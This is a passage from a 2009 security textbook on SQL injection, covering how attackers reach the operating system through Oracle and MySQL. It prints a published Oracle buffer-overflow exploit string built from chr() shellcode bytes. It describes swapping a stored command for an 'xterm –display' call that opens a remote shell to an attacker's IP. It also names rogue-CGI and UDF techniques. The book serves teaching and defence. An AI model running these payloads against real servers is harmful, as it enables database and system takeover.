SQL Injection Attacks and Defense - 2009

304 Chapter 6 • Exploiting the Operating System
Buffer Overflows
In 2004, Cesar Cerrudo published an exploit for a buffer overflow in the Oracle functions
NUMTOYMINTERVAL and NUMTODSINTERVAL (see http://seclists.org/vulnwatch/
2004/q1/0030.html). By using the following exploit, it was possible to run operating system
commands on the database server:
SELECT NUMTOYMINTERVAL (1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'
||chr(59)||chr(79)||chr(150)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||
chr(80)||chr(255)||chr(21)||chr(52)||chr(35)||chr(148)||chr(01)||chr(255)||
chr(37)||chr(172)||chr(33)||chr(148)||chr(01)||chr(32)||'echo ARE YOU SURE?
>c:\Unbreakable.txt') FROM DUAL;
Custom Application Code
In the Oracle world, it is not uncommon to use tables containing operating system
commands. These commands will be executed by an external program connecting to the
database. By updating such an entry in the database with the command of your choice,
you can often overtake systems. It’s always worth it to check all tables for columns
containing operating system commands. For example:
+----+------------------------------------+---------------+
| Id | Command | Description |
+----+------------------------------------+---------------+
| 1 | sqlplus –s / as sysdba @report.sql | Run a report |
+----+------------------------------------+---------------+
| 2 | rm /tmp/*.tmp | Daily cleanup |
+----+------------------------------------+---------------+
By replacing rm /tmp/*.tmp with xterm –display 192.168.2.21, sooner or later a new
xterm window with Oracle privileges will appear on the attacker’s PC.
MySQL
MySQL does not natively support the execution of shell commands. Most times the attacker
hopes that the MySQL server and Web server reside on the same box, allowing him to use the
“select into DUMPFILE” technique to build a rogue Common Gateway Interface (CGI) on
the target machine. The “create UDF” attack detailed by NGS Software (www.ngssoftware.
com/papers/HackproofingMySQL.pdf ) is excellent thinking, but it’s not easy to do through
an SQL injection attack (again because you cannot execute multiple queries separated by a
command separator). Stacked queries are possible in MySQL 5 and later, but this has not been
found in the wild very often (yet).